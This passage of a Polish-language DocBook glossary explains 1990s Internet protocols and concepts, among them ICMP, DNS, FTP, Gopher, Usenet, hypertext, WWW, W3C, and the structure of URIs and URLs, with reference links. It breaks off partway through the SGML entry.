<SECT1 ID="ICMP">
<TITLE>ICMP</TITLE>
<PARA><ABBREV LANG="en">ICMP</ABBREV>
<PRODUCTNAME CLASS="TRADE">Internet
Control Message Protocol</PRODUCTNAME>
służy (w dużym skrócie) do
powiadamiania o błędach. Obejmuje takie komunikaty jak ,,tłumienie
nadawcy'' które redukują natężenie transmisji, informacje o trasowaniu
i --- najczęściej wykorzystywane, np. przez polecenia
<COMMAND MOREINFO="NONE">ping,</COMMAND>
<COMMAND MOREINFO="NONE">mtr,</COMMAND>
,
<COMMAND MOREINFO="NONE">traceroute,</COMMAND>
---
,,prośba o echo'' i ,,odpowiedź z echem''.</PARA>
</SECT1>
<SECT1 ID="DNS">
<TITLE>DNS</TITLE>
<PARA><ABBREV LANG="en">DNS</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Domain Name System</PRODUCTNAME>
jest rozproszoną, częściowo
replikowalną bazą danych służącą informacji o hierarchicznym
odwzorowaniu nazw symbolicznych na adresy IP. Umożliwia odwzorowanie
dowolnego prawidłowego adresu IP na dowolną (spełniającą wymogi
<ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc1034.txt" ROLE="rfc">RFC 1034</ULINK>
) nazwę, niezależnie od fizycznej lokalizacji, praw
własności do łącz itp. Jedynym wymogiem jest rejestracja w wyższej
hierarchii.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Wojciech Myszka
<ULINK URL="http://www.immt.pwr.wroc.pl/export_hp/tool/tool.html" ROLE="htmlurl">Narzędzia sieciowe</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.pk.edu.pl/%E7pmj/dns/" ROLE="htmlurl">Opis systemu DNS</ULINK>
Piotra Marka</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.dns.net/dnsrd/" ROLE="htmlurl">DNS Resources Directory</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="FTP">
<TITLE>FTP</TITLE>
<PARA><ABBREV LANG="en">FTP</ABBREV>
czyli
<PRODUCTNAME CLASS="TRADE">File Transfer Protocol</PRODUCTNAME>
jest (nadal, choć coraz bardziej
przygrywa walkę z
<LINK LINKEND="HTTP">HTTP)</LINK>
podstawowym w
sieci Internet protokołem przesyłania plików. Działa na bazie TCP/IP
wykorzystując port 21 serwera do kontroli transmisji danych zaś port
20 do transmisji. Do głównych wad istniejących implementacji należą:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>brak możliwości szyfrowania transmisji (choćby na etapie
autentyfikacji w systemie)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>kanał kontrolny powodujący kłopoty z implementacją filtrów pakietów na
routerach</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Do momentu eksplozji
<ABBREV>WWW</ABBREV>
popularne
były (i są nadal choć w coraz mniejszym stopniu) anonimowe serwery FTP
--- tj. z użytkownikiem o nazwie
<USERINPUT MOREINFO="NONE">anonymous</USERINPUT>
lub
<USERINPUT MOREINFO="NONE">ftp</USERINPUT>
i hasłem
(gdzieniegdzie sprawdzanym) zawierającym adres e-mail --- służące do
udostępniania dla wszystkich plików. W tej chwili dorabia się do
takich usług interface w HTMLu lub wręcz konwertuje całość na
HTML/HTTP.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.whatis.com/ftp.htm" ROLE="htmlurl">FTP @ WhatIS.com</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="GOPHER">
<TITLE>Gopher</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">Gopher</PRODUCTNAME>
jest (był)
protokołem klient/serwer pozwalającym na rozpowszechnianie informacji
w powszechnych/kampusowych systemach informacyjnych (world/campus-wide
information system (CWIS)). Powstał na w kwietniu 1991 roku na
University of Minnesota Microcomputer, Workstation, Networks Center w
celu dystrybucji informacji wewnątrz-wydziałowej. Był pierwszym ---
poza (częściowo)
<LINK LINKEND="USENET">Usenet News</LINK>
---
rozpowszechnionym systemem informacyjnym w Sieci integrującym różne
protokoły:
<PRODUCTNAME CLASS="TRADE">ftp</PRODUCTNAME>
,
<PRODUCTNAME CLASS="TRADE">telnet</PRODUCTNAME>
,
<PRODUCTNAME CLASS="TRADE">WAIS</PRODUCTNAME>
własne struktury danych z
możliwością dostępu do różnych typów danych, tak czysto tekstowych,
jak i grafik i danych czysto binarnych (archiwów wszelkiego rodzaju).
Odchodzi powoli w zapomnienie (dogorywają jeszcze resztki dawnej jego
świetności) z powodu sztywnej, hierarchicznej struktury (gdzie jednym
z elementów ścieżki dostępu był typ pliku), niewygodnych metod
tworzenia serwisów, braku pełnej ,,multimedialności'' czy wreszcie
dlatego, że
<LINK LINKEND="WWW">WWW</LINK>
zyskał większe wsparcie
tak producentów jak i środowisk akademickich.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="ftp://rtfm.mit.edu/pub/usenet/news.answers/gopher-faq" ROLE="htmlurl">Gopher FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="gopher://boombox.micro.umn.edu" ROLE="htmlurl">Gopher
home</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="RFC-HTTP">Standardy: protokoły transportu dokumentów</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="USENET">
<TITLE>UseNet News</TITLE>
<PARA>UseNet News --- jest siecią dystrybuowanych po całym świecie grup
dyskusyjnych opartą na protokołach NNTP i (gdzieniegdzie) UUCP.
Zarządzana jest przez grupę ochotników, administratorów którzy poza
dozorem własnych węzłów zajmują się zakładaniem nowych grup (a
wcześniej przeprowadzaniem głosowania), kasowaniem niechcianych,
wysyłanych w wielu kopiach przesyłek reklamowych --- zwanych
<FOREIGNPHRASE>spamem</FOREIGNPHRASE>. 
Jest to struktura mocno zdecentralizowana, w znaczącym stopniu 
(w praktyce) wyjęta spod reguł obowiązującego prawa. Dostęp do serwerów 
udostępniających tę usługę
jest bardzo często limitowany przez lokalnych administratorów ponieważ
jest to usługa ,,wewnętrzna'', przeznaczona na potrzeby lokalne.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="USENET">Standardy: E-Mail i Usenet</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.usenet.pl/doc/" ROLE="htmlurl">UseNet.pl FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.usenet2.org/" ROLE="htmlurl">UseNet2</ULINK>
--- Usenet bez spamu</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="WAIS">
<TITLE>WAIS</TITLE>
<PARA><ABBREV LANG="en">Wais</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Wide
Area Information Service</PRODUCTNAME>
jest systemem wyszukiwania
informacji w bazach danych na podstawie zdefiniowanych słów
kluczowych. Korzysta z rozpowszechnionego w systemach informacji
naukowej protokołu Z39.50. Powstał jako wspólny projekt 
<PRODUCTNAME CLASS="TRADE">Thinking
Machines</PRODUCTNAME>, 
<PRODUCTNAME CLASS="TRADE">Apple Computer</PRODUCTNAME>, 
Dow Jones, oraz KPMG Peat Marwick, lecz jest
w tej chwili wsypierany jedynie przez twórców darmowych implementacji.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ABBREV LANG="en">CNIDR</ABBREV>
<ULINK URL="http://cnidr.org/welcome.html" ROLE="html">(Clearinghouse for Networked Information Discovery and Retrieval).</ULINK>
firmująca
<PRODUCTNAME CLASS="TRADE">freeWAIS</PRODUCTNAME>
dostępny jako:
<FILENAME MOREINFO="NONE">ftp://ftp.cnidr.org/pub/NIDR.tools/freeWAIS-0.3.tar.Z</FILENAME></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://ls6-www.informatik.uni-dortmund.de/ir/projects/freeWAIS-sf/" ROLE="htmlurl">freeWais</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="RFC-HTTP">Standardy: transport</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HIPERTEKST">
<TITLE>Hipertekst</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE" LANG="en">hypertext</PRODUCTNAME>
lub po
polsku:
<PRODUCTNAME CLASS="TRADE" LANG="pl">hipertekst</PRODUCTNAME>
--- dosłownie ,,nad-tekst'' --- sytuacja powiązania
tekstu przy pomocy odnośników, dowiązań, odwołań zaburzającego z
jednej strony jego linearną strukturę a z drugiej powodującego
powstawanie przez to nowych znaczeń i kontekstów. Dodanie do
hipertekstu innych środków przekazu: grafiki, dzwięku, obrazów video
tworzy
<PRODUCTNAME CLASS="TRADE">hypermedia.</PRODUCTNAME></PARA>
<PARA>Vanneva Brush w artykule
<ULINK URL="http://www.isg.sfu.ca/%E7duchier/misc/vbush" ROLE="htmlurl">&quot;As We May Think.&quot;</ULINK>
[w: Atlantic
Monthly Lipiec 1945] opisał po raz pierwszy koncepcję hipermediów w
formie urządzenia nazwie
<PRODUCTNAME CLASS="TRADE">memex.</PRODUCTNAME>
W dwadzieścia lat później (w 1965 roku) opisując swój
projekt o nazwie
<LINK LINKEND="XANADU">Xanadu</LINK>
po raz
pierwszy użył tego słowa --- w książce
<EMPHASIS>Literaly Machines.</EMPHASIS>
W 1968 Douglas Engebart zademonstrował pierwszy
komputerowy system hipertekstowy nazwany
<PRODUCTNAME CLASS="TRADE">NSL/Augment.</PRODUCTNAME>
Pierwsza praca doktorska o hipertekście
powstała w 1986 roku (Randy Trigg), zaś pierwsza konferencja w 1987. W
1992 roku powstała grupa
<ULINK URL="news:alt.hypertext" ROLE="news"><FILENAME MOREINFO="NONE">alt.hypertext</FILENAME></ULINK></PARA>
<PARA>James Blustein w
<FILENAME MOREINFO="NONE">alt.hypertext FAQ</FILENAME>
wymienia istniejące dziś systemy hypermedialne:
<LINK LINKEND="HYPERWAVE"><PRODUCTNAME CLASS="TRADE">HyperWave</PRODUCTNAME></LINK>
,
<PRODUCTNAME CLASS="TRADE">Microcosm</PRODUCTNAME>
,
<PRODUCTNAME CLASS="TRADE">Storyspace</PRODUCTNAME>
,
<PRODUCTNAME CLASS="TRADE">WebPing</PRODUCTNAME>
,
<LINK LINKEND="WWW"><PRODUCTNAME CLASS="TRADE">WWW</PRODUCTNAME></LINK>
,
<LINK LINKEND="XANADU"><PRODUCTNAME CLASS="TRADE">Xanadu</PRODUCTNAME></LINK>
.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>V. Balasubramanian
<ULINK URL="http://eies.njit.edu/%E7333/bala.html" ROLE="htmlurl">,,State of the Art Review on Hypermedia Issues And Applications''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Jorn Barger
<ULINK URL="http://www.mcs.net/%E7jorn/html/net/timeline.html" ROLE="htmlurl">HyperTerrorist's Timeline of Hypertext History</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.csd.uwo/%E7jamie/hypertext-faq.html" ROLE="url"><FILENAME MOREINFO="NONE">alt.hypertext</FILENAME>
Frequently Asked Questions</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Scott Stebelman
<ULINK URL="http://gwis2.circ.gwu.edu/%E7scottlib/hyperbib.htm" ROLE="htmlurl">Hypertext and hypermedia: a selected bibliography</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eastgate.com/Hypertext.html" ROLE="htmlurl">HyperText @ Eastgate Systems </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://jefferson.village.virginia.edu/elab" ROLE="htmlurl">The Electronic Labyrinth</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="XANADU">
<TITLE>Xanadu</TITLE>
<PARA>W poemacie Samuel Taylor Coleridge,
<EMPHASIS>Kubla Khan,</EMPHASIS>
występuje magiczne miejsce
<EMPHASIS>w pamięci literackiej</EMPHASIS>
nazywające się
<PRODUCTNAME CLASS="TRADE">Xanadu</PRODUCTNAME>
. Ted Nelson w swoim projekcie o tej właśnie ---
<PRODUCTNAME CLASS="TRADE">Xanadu</PRODUCTNAME>
--- nazwie
postulował stworzenie jednolitego w skali światowej środowiska
,,literackiego'' będącego archiwum dla
<EMPHASIS>wszystkiego</EMPHASIS>
co napisano bez możliwości usunięcia (za to z kontrolą
wersji). Inną istotną cechą projektu
<PRODUCTNAME CLASS="TRADE">Xanadu</PRODUCTNAME>
jest istnienie zwrotnych odnośników, wymagający
by każdy element dokumentu posiadał własny unikalny adres. Dzięki temu
można rozwiązać problem cytowania: zamiast przepisywać mozolnie pewien
fragment, po prostu dawało się do niego szczegółowy odnośnik, a baza
danych (odseparowana od interface użytkownika) troszczyła się o
indeksy cytowań, rozliczanie tantiem i innych profitów wynikających z
praw autorskich.</PARA>
<PARA>Wśród znanych (choćby częściowych) implementacji wymienić można m.in.
<LINK LINKEND="HYPERWAVE"><PRODUCTNAME CLASS="TRADE">HyperWave</PRODUCTNAME></LINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="mid:5ferud$1vg@jen.glasswings.com.au">Xanadu FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.xanadu.net/xanadu/" ROLE="htmlurl">Project
Xanadu: 3020 Bridgeway #295, Sausalito CA 94965 USA.</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="WWW">
<TITLE>WWW</TITLE>
<PARA><ABBREV LANG="en">WWW</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">World Wide Web</PRODUCTNAME>
zwana inaczej Pajęczyną, Webem, Wielkim
Światowym Czekaniem (World Wide Wait) jest hipertekstowym,
multimedialnym, sieciowym (TCP/IP) systemem informacyjnym opartym na
publicznie dostępnych, otwartych standardach IETF, W3C i ISO. Powstał
w początku lat dziewięćdziesiątych w
<ULINK URL="http://www.cern.ch/" ROLE="htmlurl">CERN</ULINK>
jako system dostępu do danych,
informacji (w tym graficznych) w hererogenicznym środowisku dużej
organizacji naukowej. Szybko jednak przekroczył (podobnie jak
Internet) granice środowiska naukowego, zyskując zainteresowanie
przemysłu z czasem przenosząc standardu otwarte do tzw. intranetów.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/" ROLE="htmlurl">World Wide Web
Consortium</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.boutell.com/faq/" ROLE="htmlurl">WWW FAQ Boutella</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eit.com/goodies/www.guide/" ROLE="htmlurl">Entering the World-Wide Web: A Guide to Cyberspace</ULINK>
Kevina Hungesa</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="IETF">
<TITLE>IETF</TITLE>
<PARA><ABBREV LANG="en">IETF</ABBREV>
<PRODUCTNAME CLASS="TRADE">Internet
Engenering Task Force</PRODUCTNAME>
grupa osób fizycznych skupiona w
celu rozwiązywania bieżących --- w przeciwieństwie do nastawionego na
działanie długofalowe
<PRODUCTNAME CLASS="TRADE">Internet Research
Task Force</PRODUCTNAME>
--- problemów Sieci, tworzenia i
zatwierdzania specyfikacji.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc1718.txt" ROLE="rfc">1718</ULINK>
<EMPHASIS>I</EMPHASIS>
T. IETF
Secretariat, G. Malkin,
<EMPHASIS>The Tao of IETF - A Guide for New
Attendees of the Internet Engineering Task Force</EMPHASIS>
11/23/1994. (Liczba stron: 23) (FYI 17) (Obsoletes RFC1539)</PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="W3C">
<TITLE>W3C</TITLE>
<PARA><ABBREV LANG="en">W3C</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">World
Wide Web</PRODUCTNAME>
jest przemysłowym konsorcjum zarządzanym przez
<ULINK URL="http://www.lcs.mit.edu/" ROLE="htmlurl">Laboratory for
Computer Science at MIT,</ULINK>
<ULINK URL="http://www.inria.fr/" ROLE="htmlurl">INRIA</ULINK>
oraz
<ULINK URL="http://www.keio.ac.jp/" ROLE="htmlurl">Keio University</ULINK>
ze wsparciem DARPA i Komisji Europejskiej powołanym do kształtowania
standardów, specyfikacji i wizji rozwoju pajęczyny. Skupia (w
przeciwieństwie do innych ciał (takich jak np.
<LINK LINKEND="IETF">IETF)</LINK>
nie osoby fizyczne, a instytucje, tak świata nauki, jak
i firmy. Wśród jego członków znajdują się niemal wszystkie znaczące
firmy przemysłu programistycznego: począwszy od duetu
<ULINK URL="http://www.microsoft.com/" ROLE="htmlurl">Microsoft</ULINK>
i
<ULINK URL="http://www.netscape.com/" ROLE="htmlurl">Netscape</ULINK>
poprzez firmy tradycyjnie zajmujące się stosowanymi w
pajęczynie technologiami (np.
<ULINK URL="http://www.softquad.com/" ROLE="htmlurl">SoftQuad</ULINK>
i
<ULINK URL="http://www.abortext.com/" ROLE="htmlurl">Abotext),</ULINK>
przedstawicieli przemysłu (jak np. Boeing) do wydawców (tak tych
,,papierowych'' jak
<ULINK URL="http://www.ora.com/" ROLE="htmlurl">O`Reily &amp; Assoc.</ULINK>
czy
<ULINK URL="http://www.aw.com/" ROLE="htmlurl">Addison Wesley</ULINK>
jak i elektronicznych jak
choćby
<ULINK URL="http://www.cplus.fr/" ROLE="htmlurl">Canal+)</ULINK>
czy stowarzyszenia twórców WWW takie jak
<ULINK URL="http://www.hwg.org/" ROLE="htmlurl">HTML Writers Guild.</ULINK></PARA>
</SECT1>
<SECT1 ID="URI">
<TITLE>URI</TITLE>
<PARA><ABBREV LANG="en">URI</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Uniform Resource Identificator</PRODUCTNAME>
uogólnioną składnią
przeznaczoną do definiowania zasobów w sieci. Do podstawowych założeń
URI (jako specyficznego języka definiowania lokalizacji) należało:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>rozszerzalność o nowe protokoły</PARA>
</LISTITEM>
<LISTITEM>
<PARA>kompletność w momencie tworzenia</PARA>
</LISTITEM>
<LISTITEM>
<PARA>możliwość wydruku/wiernego wyświetlenia na 7bit terminalach</PARA>
</LISTITEM>
</ITEMIZEDLIST>
URI składa się z
<EMPHASIS>nazwy schematu</EMPHASIS>
i
<EMPHASIS>ścieżki dostępu/części specyficznej dla schematu</EMPHASIS>
Jest najbardziej ogólnym sposobem adresowania zwierającym
w sobie tak klasyczne URLe jak i identyfikatory wiadomości w poczcie
(mid: --- odpowiednik Messsage-ID z SMTP).</PARA>
<PARA>Nie jest przy tym dla mnie jasne czy istnieje jakaś wyraźna różnica
pojęciowa między URL a URI. W dokumentach technicznych
<LINK LINKEND="W3C">W3C</LINK>
używa się zamiennie obu terminów tak jakby w zależności od przyzwyczajeń piszącego.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Addressing/" ROLE="url"><FILENAME MOREINFO="NONE">http://www.w3.org/Addressing/</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="STD-URL">Standardy: URL</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="URL">
<TITLE>URL</TITLE>
<SIMPARA>From: chomik@piast.t19.ds.pwr.wroc.pl (Marcin 'Chomik' Nowak)</SIMPARA>
<SIMPARA>From: pteczyn@hum.amu.edu.pl (Piotr Tęczyński)</SIMPARA>
<PARA><ABBREV LANG="en">URL</ABBREV>
--
<PRODUCTNAME CLASS="TRADE">Uniform Resource Locator</PRODUCTNAME>
URL składa się ze nazwy
schematu i części dopełniającej (właściwego adresu): URL ==
scheme:scheme-specific-part</PARA>
<PARA>Czyli URL składa się ze schematu,
<EMPHASIS>nazwy protokołu</EMPHASIS>
(a właściwie odpowiedniego mnemonika) oraz z części
specyficznej dla danego schematu. Przy czym tę część charakterystyczną
można rozbić na następujące części:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><EMPHASIS>użytkownik</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>hasło</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>adresu węzła sieci</EMPHASIS>
(czyli nazwy hosta,
komputera w sieci)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>portu przypisanego danej usłudze</EMPHASIS>
standardowe
numery portów opisane są w
<LINK LINKEND="STD-URL">STD 1</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>ścieżki do pliku</EMPHASIS>
(może być wirtualnej czyli
określanej w ustawieniach serwera, nie zaś istniejącej w systemie
plików)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>parametrów pliku</EMPHASIS>
(wymienianych po znaku " ; " -
np. typ pliku w FTP)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>opcji zapytania</EMPHASIS>
(przekazywanych jako parametry
do programów, a wymienianych po znaku zapytania " ? ")</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>fragmentu, węzła w pliku</EMPHASIS>
wymienianego po znaku
,,hasha'' " # ")</PARA>
</LISTITEM>
</ITEMIZEDLIST>
czyli:
<FILENAME MOREINFO="NONE">protokół://użytkownik:hasło@host:nr_portu/ścieżka;parametr_obiektu?zapytanie#węzeł</FILENAME></PARA>
<PARA>W nazwie usługi (schemacie) mogą być użyte litery łacińskie (a-z),
cyfry, znak plusa (+), kropki (.) i przeniesienia (-). Przy czym
program powinien dokonywać translacji z napisu wielkimi literami do
małych. Widać więc, że w bezpośrednio w URLu mogą być użyte jedynie
znaki ze alfanumeryczne z zestawu ASCII (dostępność wprowadzania)
(czyli (a-Z)(0-9) a także znaki znaków w notacji szesnastkowej np. %7E
znaczy %E7 czyli tyldę stosowaną często jako skrót dla kont
użytkowników).</PARA>
<PARA>Dostępne usługi opatrzone są następującymi mnemonikami:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">file:</COMMAND>
odnośnik do zasobów lokalnych komputera
(nie należy chyba używać w sieci :-) (zalecane jeśli chcemy pokazać
jakiś plik który
<EMPHASIS>musi</EMPHASIS>
istnieć na komputerze
klienta (np.
<COMMAND MOREINFO="NONE">file://localhost/etc/resolv.conf</COMMAND></PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">ftp:</COMMAND>
odnośnik do zasobów
dostępnych za pomocą protokołu FTP, z wariantem
<COMMAND MOREINFO="NONE">ftp://użytkownik@...</COMMAND>
lub
<COMMAND MOREINFO="NONE">ftp://użytkownik:hasło@...</COMMAND>
(choć tej ostatniej wersji zdecydowanie nie polecam).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">gopher:</COMMAND>
odnośnik do zasobów
<LINK LINKEND="RFC-GOPHER">gophera</LINK>
(standardowy port: 70)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">http:</COMMAND>
zasób obsługiwany przez
serwer
<LINK LINKEND="HTTP">HTTP</LINK>
(HTTPd) (standardowy port:
80)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">mailto:</COMMAND>
odnośnik powodujący
wysłanie listu pod podany adres (bez // po dwukropku!!!). Dla
wyspecyfikowania tematu listu można spróbować dodać do komendy A
atrybut title="Tytuł listu" albo próbować użyć (co może w części
przeglądarek spowodować kłopoty, znakomicie ułatwiając życie
większości) URLa w postaci:
<COMMAND MOREINFO="NONE">mailto:user@host.in.my.org?Subject=A%20to%20moj%20przykladowy%20temat</COMMAND>
(ale gorąco odradzam).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">news:</COMMAND>
odnośnik powodujący
uruchomienie przeglądarki USENETU (news) używając domyślnego serwera,
i podanej grupy (ew. określony artykuł wg identyfikatora).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">telnet:</COMMAND>
odnośnik do zdalnego
komputera, zazwyczaj używając terminala VT100 (bez // po dwukropku!!!)
(standardowy port: 23)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>tn3270:</EMPHASIS>
odnośnik do zdalnego komputera IBM (np.
3090 na plearn.edu.pl) terminala IBM-3270 (bez // po dwukropku!!!)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">wais:</COMMAND>
odwołanie do systemu
wyszukiwawczego
<ULINK URL="http://www.ict.pwr.wroc.pl/cgi-bin/tswais" ROLE="htmlurl">WAIS</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">newsrc:</COMMAND>
odnośnik do określonego
pliku . newsrc (jak rozumiem lokalnego)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">nntp:</COMMAND>
określa inny niż domyślnie
używany serwer newsów (port 119), a także może określać daną
grupę/wiadomość w/g wyspecyfikowanego
<COMMAND MOREINFO="NONE">Message-ID:</COMMAND></PARA>
</LISTITEM>
</ITEMIZEDLIST>
Adres komputera może być podany tak przy użyciu nazwy
zdefiniowanej w DNS jak i jako numer IP. Numer portu o ile
<ULINK URL="file://localhost/etc/services" ROLE="html">standardowy</ULINK>
--- opisany w odpowiednim RFC --
<ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1700.txt" ROLE="rfc">STD 2</ULINK>
może być pominięty. Ścieżka dostępu do pliku może
kończyć się na nazwie katalogu (o ile w katalogu tym jest
(zdefiniowany w ustawieniach serwera) plik ,,domyślny'' (zwykle o
nazwie: index.html, index.htm lub default.htm) jednak wtedy (aby nieco
przyśpieszyć operacje --- podwójne odwoływanie się serwera najpierw do
pliku, a potem do katalogu, wraz z generowanie przez serwer odpowiedzi
<COMPUTEROUTPUT MOREINFO="NONE">301 Moved permanently Location:
http://www.foo.bar:80/dir/</COMPUTEROUTPUT>
nie rozpoznawanej przez
niektóre stare przeglądarki). warto zakończyć ścieżkę znakiem / (tzw.
slash, ciach).</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-URL">Standardy: URL</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ncsa.uiuc.edu/General/Internet/WWW/HTMLPrimer.html" ROLE="htmlurl">Beginner's Guide to HTML</ULINK>
(Marka Andreessena)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.crl.com/%7Esubir/lynx/lynx_help/lynx_url_support.html" ROLE="htmlurl">URL Schemes Supported in Lynx</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="URN">
<TITLE>URN</TITLE>
<PARA><ABBREV LANG="en">URN</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Uniform Resource Name</PRODUCTNAME>
jest projektowany do serwowania
trwałych, niezależnych od lokalizacji identyfikatorów obiektów w Sieci
i łatwego korelowania takiej pozycji z innymi schematami adresowania.
Niestety z powodu uciążliwości potencjalnej realizacji (wymagana by
była duża niezależna od lokalizacji baza danych itp) nie stosowany w
praktyce. Jedną z nielicznych istniejących implementacji są
<PRODUCTNAME CLASS="TRADE">NetWords</PRODUCTNAME></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-URL">Standardy: URL</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.netword.com/" ROLE="htmlurl">NetWord</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SGML">
<TITLE>SGML</TITLE>
<PARA><EMPHASIS>SGML</EMPHASIS>
---
<EMPHASIS>Standard Generalized Markup
Language</EMPHASIS>
jest meta-językiem --- opisanym w międzynarodowym standardzie
<ULINK URL="http://www.sil.org/sgml/" ROLE="htmlurl">(ISO 8879:1986)</ULINK>
służącym do projektowania opisu dokumentów według
określonego zapotrzebowania informacyjnego z użyciem dowolnie
dobranego zestawu znaczników i ich składni. Zastosowaniami
